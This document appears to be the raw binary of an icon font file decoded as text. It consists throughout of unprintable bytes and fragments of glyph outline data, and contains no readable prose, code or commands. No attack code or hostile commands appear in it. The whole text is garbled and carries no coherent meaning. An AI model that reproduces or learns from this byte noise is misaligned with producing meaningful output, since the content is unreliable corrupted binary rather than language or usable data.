 --/T��l�'"&546;2#";24Ppp���@����x����d#+%'#!"&=46;'#"4;23272'#";24�T��l*PT9�T�TTFF�8FFT������)$"2=#";244+;";2=4&#325z8��8F��	T	��bb�����������"6264&"&4626&"26&"&462'7�11F11����pB\BB\B2�1F11F1`Q�����/BB\BB+E����'/7"264"&462&"264"&462&"&462"&462&"&462=�������bb�bntRRtR�`��������b�bb��RtRRt�`�`������#57#".=;2767'#"&=46;232767+"&=�;i;&E`aE&;j;Y��]]��ZSS&�]]�&SKZ

	Z� LL �	fg
���H!"3!2654&!2!54!"=!��x��zl�xz���H��**��~~����*4>IUlt|������%676&'&&'&"&727677676'&&'67&'676454'&'6&&'&'&4767677&'67&'6&'677&'&76763267'&'&&'&'>76767#"�
#(
8
($
$(
8
($
�
i	 
	}!	

z
	'			
	@	 �	

{

	
� .$$.  .$$ �'�'�			0

w

,

			
�


l				x

�



���y.8%##"'0#7327#"7672&632&#"767627#"'7�('/**&3&*��!.)+"	#*5+'",)�$*(0%$0)%�� ^��&WJ �O�!� ����',16;%#.'54+"#";;2=>732=4+5'#>3.53�,	L55L	,,	L55L	,tP+�P+2P+�P+�5L--L55L--L5P,3P,�P,3P,�,+7#";25'43#54#!"3!2=32=4#!"=43!2�p�T�*��l*T��4���*�*������H
55'753#75�TT��1G1BTT�rZA44A[�PFA44AZ5�&	&097#"'>7'&546.=#"'>7'654'6.=�####@-$ A�  %-2�##"#?.$!! � $-0A),,�V-I&22L&&22&J-U�,,�V-I'11'&~2&J-UL���S
!/Ui76&'&676&'&6'.7>7.7>7".5467>:7362&'.76&&'&6767.76&'..676�	.84C(A$8I(@$8IJ$0AFC6 # *V"6
V
*=?		'	/-&<$%;$#!.B *!%�

?-����%1#&/."#./.'&457637270>'./&'&7676322>767>35?;6�+
#


@%	$D



/

H
�:


!	


$(A#
	
		���pBH$+"/#5#"./#"'&4?&5#"&46;5'&462376232'#462�
842 
.28

8+
+�+
+8n�/B/�
+5
1
	��	
49(

J+
++
+J�!//���`+$4&+";27#!"&=463!27#!"&=463!2
@

@�
��

`

��

�
�


@�

�

j@

@

��p`1%#".5473267#".54>723276<.M-2@*< $AI_8'G31D'$?%
:-M.0)T6!;*13=4G'&F3

3%>%

����I$4."2>7/"/'&='&'&?'&76?547676276p'5:5''5:5'\IH..HI--IH..HI--�:5''5:5''
M>>M>>M>>M>>���`!?>&'&"#"'."$".4>2�X
	4XhX43YhX:w	

	#hX44XhX44��x%-%"&=#"&=#"&=#"&=46;2&"&462�H!.!!.�h

X�tt�X

hs.!!.!��@x19%#"/#++"&=#"&54?5##"&54?6;2&"&462@

9>
0(0
>9
@`@h!.!!.x
U!g
DD
g!U
``�.!!.!���`/74&+";26754&+";267#!"&5463!2�xx�xx(
��	
`
0�d����

`

���`#;%"/&4?62'&#"32?'#"#&/&4?62762s�
&
�

�
&
Bc/


f	
�
 �f?���

�
&
�

Cc/



f
�
&��f
?����`>^%4./.543232654.#"#".#"32>#"'#".547&54632632%	$
	* 
%


=*![8( $A/8( $A/v



	

!	$(8/A$ (8/A$���` '.2>Vb%&'#'32'&'#>?26'&'2&>'"10&#">7&'#>26".4>2
$ "	.:!M[%#
	"0K�42
$��.>!;$ 	
4XhX43YhX	<A$&�8'65)<&<;:9�$)*5
u:,
2hX44XhX44	��� !-C�"#"547"&6"3672<615#4'><&4&5.'&4'.'.'46&'.#.63676=.##&"'4&#"3676#"&'46213272>76'"32>'&'&0'&'474#6'.5>76764674&676346'6&#&32304.'.026'4.#2?4.'&#">7026'.#&#""#.'.'&654.47>7>5'"7>.'&'&5&54>7>767&'467632#"#.'&67>7>.'.47�Y�		
	





	
	
*
	!	�i
-�		

	
*		

	 
		


	

		


kY	(

		
	


	*!

	�0
8;��			

0

$
2
(4
					

��``7M[264&"264&"2"&=46+"&=##"&5'#"&=7#467'&766276#"&=4632wo�
"� � 4f

4
l

l
�8888�f11 !!�l

l
���`7'57#5'57#5�������ㄢ��������Ƨ��]�&8%#"'&#"#"'&54763232763267670\
! 
&%%+

"H
	,P1	AA<:$$		
 1
%
@�%'&=!"&=463!546�`��8
`�Y808X@�%#!/&54?6!2���
``8�08XY8���p++"&5#"&?632�808XY��8
``����6#"/&76;46;23�XY808@
``8�����`"2%5#"'&'&=35#5#33276+"&=46;2
	DD) 
z*�**�* -J-I
)e		�**�**��`#33#327#"'&'&'&=#567676b6[[
*

`a<c"		=

�6���`':Yi74&67&5&6767'.'>7646&#"'7>76'&'&7>767+"&=46;2�

	!$-	&*	15	
(f)(>,	"6C"	

-@.J*�**�*�

N		�	&�
	#3

CL�**�**��ai
*Cg7'.676.7>7.'&7>"'.'&'?77'&'.'.'>7676�
	
	2%9ID97


418�8-?Z>$	
/_J'� &�	
			�
	1%&�*z
 



2,	���`	7#3'3736".4>2�2d�ss�4XhX43YhX�L8��(LhX44XhX44���`2+"&=4634&"264&"28**�**f,  ,� ,,`*�**�*�,,,,���`/?%5##"&547#3!26&4&#"32754&+";267#!"&5463!2T! 7!1F#	F.  --  t
+

+
,��� 5D0�		m>,,>,�)

)

;����`�
!7#57!#5335'7'7'7'7'���	�ʰ��
�2��md c�&"&&V�	���&t-%.{Z Zs��:�����c7'9'579''7'd|VzK{z$VV�V|TLTzVVzT|�LGPHJJHH6GLDDCPG�ODL�@/$4/&32?6"'.'.<67>762@�	��8�88�8�P
�
P&0))0))���`&670'&+";2?&+";276/76+"&=46;2�. 1.�/fA.Af7*�**�*�7	6V	�	�w	w�"�**�**��_~$7+"&?'&76;27+"/676;2�>	<?(<
��T<
U�
<�npFY�����z�	+=[c}���7#"'5632#542'35#3;5##"'4=#32?54'&#"5#35327675##"=354'&#"327676'54"2"'.'&547>7623#5&'&'3#"'&=476327#5#"'&=313275�

T�NHk


U-
	
	��.�.-�.�	m	

	T
I5K%�{^
Za
	17�
	

	+	

�44�;;;dDD"B,	

	,	

	}	
b[	_���`	+=\d����754#"327354"'##5#5#5#"'&=313275#"'#53632#"'&=4762#327<='"=424'.'&#"27>76'7#'#3754'&#"327635##"50=#32?+"&=46;2�.�l			P		?

!`�"EE""�"�	H-	
~*�**�*:(8+

:jj\
	IDF$

	{(
-
	 		
�'

'
�,+-

�J002 

 		\FDI	B�**�**���@\7#"&5463254&+";26%+#"'.'.'&'.'"&=46327>;2@
		
(
H	
H
E	
	
	(	"
�

		��

�

+	





	
�
	���`\74&#"3267+"&=46;2+".'&#"&=463>767>7>763232@
		
(
H	
H
(
"	(	
	
	E0

		��	
�

	
�
	



��t�
$7V4&#"326#"/&76;46;232#53546=#'73#"'&'73267##"&54632P

�PP000�u)01

	"$*8��PPX��@l.�M$$/��t�
$CV%4&#"326#"/&76;46;2327#"'&'73267##"&54632'#53546=#'73P

�PP000�

	"$*u)08PPX��
$$/�l.�����)9IY+"&=46;2'#"/&76;46;2327+"&=46;27+"&=46;27+"&=46;20@@xPP000�pp0��0��00PPX��\00|00|00����)9IY7#"/&76;46;232+"&=46;2'+"&=46;2'+"&=46;2'+"&=46;2�PP000��0��0pp0@@PPX��$00|00|00|00����	#3O%3/&50#"/&76;46;232#53'#3#5373#576?0"1"+#5332;5*,�PP000�H<G:(:�\:�\>68PPX��B$$�� :�9�����	#?O3/&50#"/&76;46;232#576?0"1"+#5332;57#53'#3#5373*,�PP000ђ\:�\>4H<G:(:6��PPX��":�9��$$����@`18%54&+";26=4&+";267#!"&546;37#5����@
��

�
�
N
(D\�

P
�
 
N
��@`%#!"&546;37#5@
��

�
�
N
��

P
�
 
N
��:`3H\%#5"##5*+732753"#5&+53235363534.*#22>'4."#:>$% '
'25'
'4

			

	�.%#@??@.eH)?>=?�		T~
M�`l?#004?#;'#7#034?#++"/#+"&5'#"&=46;'#"&=46;'&76;2376;2376;232+32�(Ii"h(J�5)()4*'(4,$"Z["$	-UKKk   �KKk  ���� VZZZZV ���`L\%+"&=#"#"/&67263>	5#"&=463!2+;26=46;2'+"&=46;2�/! !/8	


@08
 
0`��X!//!x,"
,
((�

�((`E3#"&=#"&=46;5#"&=46;'&76;2>?6;232+32+�+HHH5P05	
00O6HHHR�k	i�R�`>++"'&'&=46;267#"&=46;&+"&=46;2+32�*5+*I1M0!(kg5$�:*
$--Y\3 !
����a7+"&=.'&?672332654.'.5467546;2#'0.#"�1("!		


1'"
		X&8,,
!	
	

#4-,$			
�`?%+"&=46;5#"&=46;54632"'.#"32+3546;2��>0.&
LLg)d\&_!8*8 	6!_.�``7#0"#"&'#"&=46;47#"&=46;>322/0#/#'"32+32+32>7376�		
;WY82
vzr`2 
9'A74@' 	"���`
-$'&=47654&+";267+"&=46;2p				p7��@*�**�*�P
�
P�����**�**���`
-%+"'&?6254&+";267+"&=46;2
�
PP��@*�**�*i			ppJ����**�**���`
-%"/&76;254&+";267+"&=46;2PP
�
&��@*�**�*�	pp		�����**�**���`?'754."2>".4>2�@@`��$?J?$$?J?\4XhX43YhXp  T�@�IJ?$$?J?$$�hX44XhX44���`%5?64/&"3276'&7>3327+"&=46;2�XX

0!	**#
�*�**�*mXX
(
-8Y
(
��**�**���`)%54&+"2?32767+"&=46;2@
x
$��$
@*�**�*�x


$��$��**�**���`/7#5#57'&?67'?64/&"7+"&=46;2e&
tIIA�H��&�*�**�*k&
nII��H�H�&�**�**���`$?64/&"'&"27+"&=46;2��u5Z�*�**�*;�u5Z��**�**���@3232"/&76;5#"/&76�0
	PP
0P(@�``
	�0�`7++"'&?6;5#"'&?62�
0�(P0
PP�	�0�		````/%+"&=46;254&+";267+"&=46;2 �� �� *�**�*�t����**�**���`%54&+";267+"&=46;2@
�

�
@*�**�*� 

 

��**�**
���s/'764/&"27"/64&"'&4?6227O�OZ�[�[��		 (		�		( 	O�Of�[�[��		 ( 		�		(	���`2".4664/&327�hX44XhX43��`4XhX44XhX�P	�	���`5E64&"27.'"3;267.'"3;2767+"&=46;2�kR:&7 `,;G'3W4 H*�**�*3;Q 7&'G;, 4W3��**�**``/7+"&=46;25+"&=46;25+"&=46;2`
0

0

0

0

0

0
H0

0
v0

0
v0

0
�`�/7+"&=46;2+"&=46;2+"&=46;2`
0

0
�
0

0
�
0

0
�0

0

0

0

0

0
���`'3$"&4624&"26"&4624."2>".4>2&4&&4F8P88PXKjKKjk*<@<**<@<*:4XhX43YhX�4&&4&hP88P8�jKKjK�@<**<A;**�hX44XhX44 �#%2+"&=46;5462+"&54&"

�

B\B

&4&�
�

�
P.BB.

&&P����U4&"2"#"/"&'#"#&=46;25#"&=46;5.546232+>7'&76;2�


�ctcX=%0

0&4&0

0%=X:


�X$**$X�
 
)&&)
 
����`!'73?!7!7!ExCȯJiz��.
��`��CCY%((UJ0��``%7#3/#5?#/!'��12+[Z
�r` ���+�9

#E�-u��((���` ?64/&"'&"26".4>2�rMMr�4XhX43YhX;rMMr�hX44XhX44���` %764/&"2?26".4>2#rrMMb4XhX43YhXcrrMMvhX44XhX44���` ?64/&"26".4>2�rrMM�4XhX43YhX#rr
MM�hX44XhX44���` ?64/764/&"26".4>2�MMrr�4XhX43YhX#MMrr�hX44XhX44�@%#765&'&'&+#7##!2�/L-13L3L3LD'������@	���`-4&"27#"/&?'0#"/&?63767>32hF&,`GE8^/UB`>[-^8EG`.$��`xL4&"27#"#'.5#+"&=4675#"#"'.7>7&5462346?232�


�p@$
�

 LpJ


P,�

�+	����#G!!754&+";26754&+";267#!"&546;546;23546;232 `��`�`
��

 ` 
 0HHHH��

@
��@`"%5#6767"'.=463!2p;0""
 
����.�+   *�

��]�CK7&=462%#"'326=46232+"&46;5&'"/&4762'54632D


Z/!
.B

J6@

�

@?4b�/!)� 

 
�Z !/
B. 

 7R!



	!?4��!/�� �'3%32+"&46;5.=46226=462'"&=462 J6@

�

@6J

B\B

@/B//B/� 7R!



	!R7 

 .BB. 

Z�!//!�!//����e%#".#""##"&54>54&#"#"'&"/0#01327654.5463232630132>32�
	 	
			&	
&			
	:	n	
	
&		
		
	
&		�@?#+"&'&676;2�T�T��
�
�
�
 ``
�
	
����"F7#/&5##537'#5336?3##'414>54&#"'6763235�>(&A 1."E##@.3��


	":**?>*HD*8	8*BJ64

		�["G7#/&5##537'#5336?3#7#'&54>54&#"'6763235�>(&A 1."E##@.3��



	"
:**?>*HD*8	8*BJ�4

	�`7+"&=46;2+"&5'46;2�
@

@

@

P
H8	
8

�

�

�`.7+"&=46;5#"&=46;232+"&=46;2�
�	
	
`

 
@

@
0 	
 
`
 

�
0

0

�@<7+"&=46;27+"&=467>54&#"#"/.7632�<<O	

< 
	)(L( F<<�	%	B%����&A]iu�7#"'&4?62"&=462&+"&46;2#"/&'72?654/7''&#"&/&54?632+"&46;2'"&=462"'&4?62n@@(8PP@%S<D%E	T�<D

%E	T%S�PP�f@@B@@
PP8($T	E$

E<T�E$

E<T$T�PP*@@��`K64&"24&"24&"27"&54675.546267>5.5462H�&
8! 
(

(



(.
G 	


�

|	
���`87357#++"&=#"&=#"&=46;546;2376232����� 80�880�=>8@����088�088>=���`@#"#.=#".67%632^�
�@)��	�
�
���x
(%7//7#"/#"&?'&6?632(AY(O~[pp[~88~�>
P�*XMX}		;;		}Xr

r���o;7#"/&4?6#"1&56'.'#"/&4?6�
��

c�
%6(
��

g/*r
��
dm& 
d)?
��
B1+���<$97"/&4?62/.7>"/&4?'&4?62�ttbb�]]�tbbt"ttbb��C�tbbt�
$7"/&4?'&4?62+"&=46;2�tbbt���tbbtu���`*2Fr7567565'5&'.	#"323275#"'%+"&5.5462#"/.#"#"'&=47>32327676�-33-+56�;%

	.

+*"%��		p	7%C$(0

/�0/l2/r.88
/�/1|	��<	
�		�

���`*V%5#"'.#"63232%+"&5.5462#"/.#"#"'&=47>32327676�*"*+:=/

��		p	7%C$(0

/{� �	�	��<	
�		�

� #/;GS_kw�����7+"=4;27+"=4;2'+"=4;2+"=4;2'+"=4;2'+"=4;2+"=4;2'+"=4;2+"=4;2+"=4;2'+"=4;2+"=4;2+"=4;54;25!%#!"&=463!2` 88 ��� ` ``�@@8 �`�
�`

�
\<<�<<D<DD|X<�����

�
�#+3C754&+54&+"#";;26=3264&"264&"26#"'##"&46;2�0 00 0�SSK50$8$05KK5�5p 00 00S5jK  KjK���`+7$+"&46;2&"&462"&4624."2>".4>2 
�

�v�S*<@<**<@<*:4XhX43YhXv


m�@<**<A;**�hX44XhX44���`$4@%&'."'.7>2&"&462"&4624."2>".4>2
"*"
2@2r�S*<@<**<@<*:4XhX43YhXM%%��@<**<A;**�hX44XhX44���`$4@%"&'&676267>&"&462"&4624."2>".4>2
2@2
"*"
~�S*<@<**<@<*:4XhX43YhXs%%s�@<**<A;**�hX44XhX44  /2+"&=46354&+";26'2+"&=463�!!�!!�
�

�
(� !�!!�!�

�
r  #3C7++"&=#"&=46;546;23254&+";267+"&=46;2�8888 
�

�
 !�!!�!�8888d�

�
��!!�!!�`'E%4#!"3!26?6%354&+"&=4&+"7>#!"&=46;23232�
��
J

J��
�

P
@$NJ$��!!P!�!0�	[	[-(



�O
)[
!�!!!(�`,%54&+"&=4&+"3!267#!"&=46;232�
�

P

0
 !��!!P!�!8�



�
��!!�!!!���@1X6".4>2".4>24&#""'&#";2>7#".'&547&5472632>3��."
',&"%!*!%8
!%1% )#""
)%(%!)
"Z**!!B4	
4;(	(���p,%#"&5465654.+"/&4?6232� ''8
��
8�)
h)H		(
@
��
@e!���`$".4>2�4XhX43YhX�hX44XhX44���p	!)19A6#"&4632"&462&"&462"&462&"&4626"&462"&462&"&462|��  �$$�((�&?G�  ��$$((�`�`!C+"&=46;26=4&+"&=46;2+"&=46;26=4&+"&=46;2�#/

&
8`�#/

&
8`0�/#
 
&
`�/#
 
&
`�`!C7+"&=4>;2+";2+"&=4>;2+";2�`#/

&
8�`#/

&
8�`�/#
 
&
`�/#
 
&
���`"2>4&".4>2�J?$$?J?$$\4XhX43YhX($?J?$$?J?0hX44XhX44�@/64&"2754&+";26&4+";7+"&546;2t@��0((L
�

�
<����


 `'64&"2754&+";267+"&546;2�


j�� ��


8�����@+37"&=463!2#%3!26=4&#!"3#!"&=324+"3h����X(�p(�(@��ذ��

����/%54&#!"3!267++"&54>5#"&5463!2��p� �
�
�������	


K
�$"/&4?62762
ttbb�ttbbC
�$"/"/&4?62
bbtt[bbtt�
6"/&4?'&4?62�tbbt�tbbt�
6"/&4?62�bbtt�bbtt+
)$"/&4?627626"/&4?62762
ttbbttbb�ttbb]ttbb#
)$"/"/&4?626"/"/&4?62
bbttbbtt;bbtt]bbtt�
)6"/&4?'&4?62"/&4?'&4?62�tbbtctbbt�tbbttbbt�
)6"/&4?62"/&4?62�ttbbcttbb+ttbbttbb���`#3%54&+54&+"#";;26=3267+"&=46;2@
P
 
P

P
 
P
@*�**�*� 
P

P
 
P

P
��**�**���`#3%54&+"#54&+";26=3;267+"&=46;2@
 
�
 

 
�
 
@*�**�*0�

PP

�

PP

��**�**�`75#3!57#"&='7373�@
 ��  (8x��`@
p0008(P  0�� 9%#32+535##'53535'575#5#57335#5;2+3�HX8I

((0 00 0((

I8XA�Xh80 08hX	���`#'1?I%54&+54&+"#";;26=326'35##"&=463!!3546;2+32@808808���`!!0��(
�
�!!h088088�  ��!�!��@(

(8�!@!���`<c64&"2'35#"4&"2754&+54&+"#";;26=3267+"&5#"&5#"&463546?>;5463!2�M`(1@3808808@
0&4&`&4& 

2(
 
�@1��088088���
&&&&

h2P


��`�/?O_o�����7+"&=46;25+"&=46;2+"&=46;2'+"&=46;2+"&=46;2'+"&=46;2'+"&=46;2+"&=46;2'+"&=46;2+"&=46;23#+"&=#3546;2=4&+"#54&+";26=3;267#!"&546;546;232`@@�@@�@@@`@
p
@`P  �
��	
P
p
P
8==�==C=� 

��8�PP��

@
H

H
��`�/?O_o��������-=7+"&=46;25+"&=46;2+"&=46;2'+"&=46;2+"&=46;2'+"&=46;2'+"&=46;2'+"&=46;2+"&=46;2'+"&=46;2'+"&=46;2'+"&=46;2+"&=46;2'+"&=46;2'+"&=46;2+"&=46;2'+"&=46;2+"&=46;23!3546;2#!"&5463!2`@@�@@@�@@@�@@�@@@`��`P�
��	
@
8==�===�===�==C=�����8X�`

�

��@`(/C%+"&=46;25+"&=46;2!5#"&=#3&/&'#!"&546;2�����h
��^N�
��

�
N
X<��
h`Nf�

P

N��`�-B+"&=.=46226=46226=462+"&=#"&=46;2�
 










�
 
8/!@
p��

��

h

h

h

h

�p

��!/
���@"$4&+32!#!"&++"&=463!2��|�&��&�8(!�!
 (�(`�&&P8!!�
����-4#"&54"37+"&5#"&5>5467&5462��
p&4&p
000**00,L
&&
(vB)1

1)Bv���`
%35##"&=463!!3546;2+32���X!!(� 
�
�!!   ��!�!��@(

(8�!@!��``M$4&"27"&=.=46323>32#"'26=#"&463223226=.5462@


*B\B)7
	

/B/

	
7)/B/(�


c(88(!6$�
	d&&d	
�$6!&&c��``X`6"&462+"&54>72654&'54727"2654'54622654'54&'<.'&"&462`



$�%	(!R!&	P8P88P6


""&
33&










&�P88P8�`5%4/&";;26=326#!"&5467454632632@XX808�8(��.B#K5'A&
 *�XXXXE(8B. 8
5K,$&4�`5%4&+54&+"#"2?6#!"&5467454632632@808XX�8(��.B#K5'A&
 *�XXXX5(8B. 8
5K,$&4���84%#!#"/&54?632!24#"&=!"&=463!54632���PPXP��XPX00PP0�P000P��`(\7"&54&#"&46324."367>767#"&'"&547&547&547.'&54>2�
("""
 8 
 $.0.$�
&$$&'
		




		
'++����735#"&=#754&+";263'+"&=#"&5463!2��h
`@��@KK�
�
�


f
 �
hH�Kk�

(
P

Rf���pOY7"&546226=62#"'.#"#"'.'."#"'.'.#"#"&541>320'*#5462�&4&

�
"
?U0#C8*�



��&&

�
				.D"%9"�

���`U%+"&=46;5#32+"&=46;5#32+"&=46;546;5#"&=46;2+3232�
P

�

P

�

P


�

P

�

HP

P
00
P

P
00
P

P
0
0
P

P
0
0���`!7#"#.57#"'&?>;27232��2f2R+c�����t���@:d"6?32>4.2#"'#"&'<75?>7.54602#&'&'#"'3267>54'�LC'	
&C''�`Q//Q0'

$/O

'D2(J" &$ ,&,4,:";F;"
	

4#;��
		
!<"54���@;"6?32>4&#"'#"&'46&?>7.54>2fY4$ &3Y44T<g=2A
'-<gzg #;"3

#;D;1XI+,
A&,I++���@!)19K64&"264&"276.676&64&"2&4&"24&"2#!"'&54>2`C~
'#
���c#	��	#$<R\R<$S�X__#
�PA87B.R<$$<R
���vq!#"/&547'"'0#"/&54>76321&4?620.547>32#".1632�	


	[
@ 

f
X

f
 @

[	
			\
@ 
f

X
f

 @	[
���`4$#"&'&6?6332>4.#"+"&=476>32�4G'+M"5/##/."
p	

!E%'G4�NG4$!"#/4/##


p
 4���[
)7#57"&5462#54&#"#<=3#>32WRW*)$RRR
+4�LɎ�

�d|$9���@8%#!"&=312>76767#1".'.'.5463!2���["

+R^U	p���	>

8	V$B

<
%�P
$+"&4?62
�	pp�

pp���
$"/&46;2pp
�vpp
��P
$"/&46;26+"&4?62pp
�

�	ppvpp
V

pp���`
;#%#326#!"&5463!2(��[�� ��P ����3��0 � 
6"&=462�p
	
p�p
�
p � 
"/&4?62�
pp
�
pp
@�
$+"&4?62
�	ppV

ppP�
$"/&46;2pp
��pp
�@+;735#5#67#6".4>25"&5!#2!467#!"&5463!2�` &
 �
&

&�&��&& &:
�@	
�
`p"	H:$$$$$v�&&�&&��	
 

���`-co74.'"#"32>'4.#"326'3##".547>7&54>5#"&54676##5#5353�	

!n""	

#&C	 )%
&50#@ @@ 
					
�" "
�)	

(!1%#7@ @@ @@���`"3g#"&'>323	'53277#".546327+654.54>4&'.'37#"46;2#5##335�_&	J:&*
<
�*u
""m#5( �*@ @@ 
					
Slk
" "�*	%$,*@@ @@���`L2+676732654.#"65676'&54632#"&7>54&#"#"&=4638**�-9..
4)&*"	

.**`*�*	,
J8(!'
%6) *;	g&*�*���`J$#"'676732>54.#"7>76'&54632#"&7>54&#".54>2�4X4/8$.4*&*"	3@3YhX�hX4	,
"<&2 "(%7)!+;	i_:4X44���@M64&"2'35#"4&"2*#"&5#"&5#*.54635<>?>;5463!2�M`(1@S	&4&`&4&	
2(

�@1�0�&&&&
P20

����#+3%7'6"/&4762%/?/?/?'/?*II���2B2��_1111���II5��2B2%A111��
�`/?O_o��754&+";26=4&+";2654&+";26'54&+";2654&+";2654&+";26'54&+";2654&+";26=4&+";267#!"&5463!2�PPPP�PP�PP�PP�PP�PP�PPPP ��P(00d00\00�00\00\00�00\00d00T�����`cs&#'6323272723#"327676767654./&'&+7373##"'&'&'&=4'&54&#!"3!26	
!		3

$*V��pH
:F		&%

^1'S/
�����`4d%2#!"&=4637&'&547632'#&'&#"3#"/&'&=45&7=332767654'&��Pq"!A

!6	:f
	#
	�	-  		%"@

	

		
	���~;KZjz#"'732654'>7"##537#&54>54&#"'>3235#!"&=463!2%#53<='73#!"&=463!25#!"&=463!2_	S[	 z��0��T"{��0��0

&�(	


P00�
)
	 ea00}00���P'7G6"&4626"&462#!"&=463!2$"&462#!"&=463!25#!"&=463!2`((((|��0��((|��0��04((d((�00�((�00}00�@/%#!"&=463!25#!"&=463!25#!"&=463!2�
��	
`

��	
`

��	
`
0 	
 

z 

 

z 

 

���`+"&=46;2�*�**�*�**�**���`!1E;5#354&/.#+"&=#3546;2'54&+";26#!"&546;2`��� F
�
  
�
`00�
��

�
F
``�Fh

h��h

�PP�

P

F��__?%#"/&54632#"/&#"32654/&#"#"/&54632_'"�7('��%��	
fg�&'�'(7��&��	gf�����"%3<2+"&=#"&=46?>;2633'375#+3546#+�

�
�

f
h
 KK�KK1O`
h�
�`
h 
��

H
�
f

R
5K�KWOhh
�@
� h
����@N\jx��62"&4#"/##"'&7>76326?'&'#"'.'&67632276326&'&#"32>'&#"32754?'17'227'�


[ �!$"!$$!
#$!� ��


D6� �(� �,�


d
a$
$

$

$a
# 
	 
�
 	
 	�	:�lPf"���`!%#!"&?5#"&46;2+3/=#~��~

�

ED�D   �d



dkk	dd	�`%#!"&5467454632632�8(��.B$K5(@&
 *`(8B.!7
5K,$&4���|!Ci%4/&#"#".'32?6'4/&#"327.546326#"/&547'#"/&4?632632l4


3

%�3

%4


�%34%34P
4


4$�
4$

4
�<$44<$44����19AS[7#"&5432327+"&54>322>32"&462"&462+&'654'32>32&"&462�(" $�$
!"!
�&4&&4�8P88P�"( &4&&4�X
	#�##




L4&&4&xP88P8�#	
Z4&&4&���`G%76+"'&?'+"&=4767'#"'&=46;27'&76;2#"'AYY$


p
$YY$
p	

$YY$

p
$YY$
p

�YY$
p


$YY$


p
$YY$
p


$YY$


p
��/35##!"&=3;26=##5%!546;546;232��� ���
P
@�@X
�
X@ �xx(

(  x``(

(��_@#"/&='&763!2_{
@{@
6
{�
@z{

�`+;%35#'!5!735##!"&=463!25#!"&=463!25#!"&=463!2��`��``�
�`	
�

�`	
�

�`	
�
  ` ` �@	
@

z@

@

z@

@

���`/64&"27#"/&54?7#"&4632>32`


��	



�
%�;#.BB. I0$



	y�		
�%c
!*B\B	*8���`�2".460#0>567676063>75&'04&1.5.54."1&"##6'&#64'34.#.2+&'&'&&'&2'&64567>17>76234'2'&'&"&'0&'"6&'6'.01.''#"&'&74.'2726167&#.#"#370.7"3"2"174'&5.'22##226363765365'0&4&6326&14&5&'"5<74>&#0&'.5464'263420650'"12670&5703676<='.674>76'270.16'>376'>7645>374176'6&#0276'&67"&'&#6.'."&+"1&'".&6'&""4&5�hX44XhX43�		
	$	
/3%`4XhX44XhXN#

	

	

�
&���`+$4/&"54&+"'&"2?6".4>2A
/
 
/
ZZD4XhX43YhX�
0~

~0
ZZ@hX44XhX44���`+$4/&"2?;26=2?6".4>2AZZ
/
 
/
D4XhX43YhX�
ZZ
0~

~0?hX44XhX44���`+$4/&"#";2?6".4>2AZ
0~

~0
ZC4XhX43YhX�Z
/
 
/
Z?hX44XhX44���`+%54&+764/&"2?64/32>".4>2@
~0
ZZ
0~
@4XhX43YhX� 
/
ZZ
/
JhX44XhX44����4<p%4.=#"32>3326=327267326&4&"2+#"'#"&=#"&54>7672>=46;2`�			



 


J'#&&"	
�
�10	

�
S	
	�


�#,*&&^)
	
	H

H)/����5h4&"274#"."&#"54&#"".#"354>7+"&=4.#&'.54632546326322@


**



#� 
�
	"&&#(
	

�/	
S
�
01!/)H

H	
	
)^&&*	*���`7?s%35#".'&4&5&'&'4.#"#";32>4&"27+"#"&=&547&'#"&546;&54632;2X	

�
S
	10Z


*
H)/ #,	*&&^)
	
	H
 �			







��
'#&&"	���`5h64&"2%4&+4>54&#"+323254'>4'654&'3267+#"'&+"&=46;2>567>3232@


j�
01/	
S
 &*	*$!/)H

H	
	
)^&*


�

#�*

&#(
�
	"&���`I%/"#"/'&/'&?'&'&?'&76?'&7676767676X"
.
.""
.
.
""
.
.
""
.
.
�"
.
.
"".
.
""
.
."".
.
����74#"&54"3'!.54"+"&5#"&5>5467&5462��D))�)I
p&4&p
000**00,L-s@@@@s-
&&
(vB)1

1)Bv���`.4%2##&'&'.467#"&=46;2725�


hc	

),xms
 b^^�`
W


!0`
��L
D
�@)?$"&462"&46254&#!"3!26%!'.+"#!"&=4?>;2L(��0��((�,��1�1X<PP{x�PP
��
``!=6"&462+"&'.'.=476;+"&5.'.=476;`((�"	Q:(I"�$
,Ga6	Ax./6D((O:Q	""I(	6aG,	$6/.x���`#'+2#!"&5463"!54&#26=!3753353��p��`@ ``��0 88����     �`%%+"&=4&"32+"&=46;5462�

&4&

�

�B\B�@

@&&0
�

�
0.BB���`R%&=4'>54'6'&&"."&'.#'"2?'.54>2�I:

		
2
	


:I3YhX4�?d5
!
!
	


d?4X44X���|73##5#53546;#"�@8V**,19$
�G��G+-/G		�@1#"'327"&'327.=.547&54632676�'6K+D8	
9,)	%
W1/"#	!A;.$# ,
$%-		"/���`EU%45./.#"#".1.'0.54>54.'.#"2326767+"&=46;2@
$

N)
	%@*�**�*V
$	
%	
)O��**�**��@`#!?2#"/#"'.546763 �jj

	nn	

@��eeV��	jj	B``#";26=4&+"&=46;2��8*�**�*@��(�**�**``O%#".'&'.'&'.54767>321032>32` D	

0#	
J
	D 
	#0
���`1d%4&'.54654'"#"#"&#"32632327>7#"&#"#"&54654&54>76763232632`:" 8-!5 #?'28	 '09�
#
;;!
(
	6E#)R>
(
54-
(���p'?$4&"264&"27#!"&=46;;26732'++"&=#"'&?62@


J


*
��

k@k
Q
@
@
@
pp



	



	HP

P
�
p

p

pp���`%-3�7'&76'&76''&74'&76'&6#5436&767+*.=4'>54'6'&&"."&'.#'"2?+"&=46;2b
�*8

		
2
	


8**�*.

��*<
!
!
	


 *�**���`
I7&5#%5#>732+"&=4632654&'&'.=46;546;232r@/1@#/ #3

�

3#
H�H
�)4*>4)*4 $



$ 
�@?$"&=#"&=46;54627+"&5<>;26=4&+/5<>;2(�
p	
p
�]*PPHP*��
H
`
H
�M�*�*��'?%+"&=46;2+";26=46;27"/"/&4?'&46;2`*�**���`
,��,
�
�P**�*�PԀ
,��,

�� `-754&"26+#"/#"&54635"&46;2#2x�
k
e	'

�

'�ppT
yy
1��1���`#3735#7."326354&#"5#3547>327+"&=46;2;::>�:%"99u*�**�*�6
�d&(�b	'��**�**�@'?7+"&=46;2+";6"&=#"&=46;5462�P**PPH��
p

p
�*�*���
H
`
H
����`9%4.""'."767"/.54632>32�/��/ 9��?9 		 8@�

*/��/*7:��	#7>		>���x#"&54?'&54?6�p[~8x��;}X
r
���`=p4&"24&#>54'64&'654&+"+322654&53267+#"'.'&'&'#"&=46;27>;2@


*
	 !5	

	



X &,		!
		

D

H 0#+




�	
�
!3
&		!
�

("		����<m64&"2%4&+4654&#+32;254'>4'654&'267+"&'&+"&=46;6767>763232@


*X



	

	5!0	
 
*$	/H

D


	
!,&*


�
3!
�*
			#(

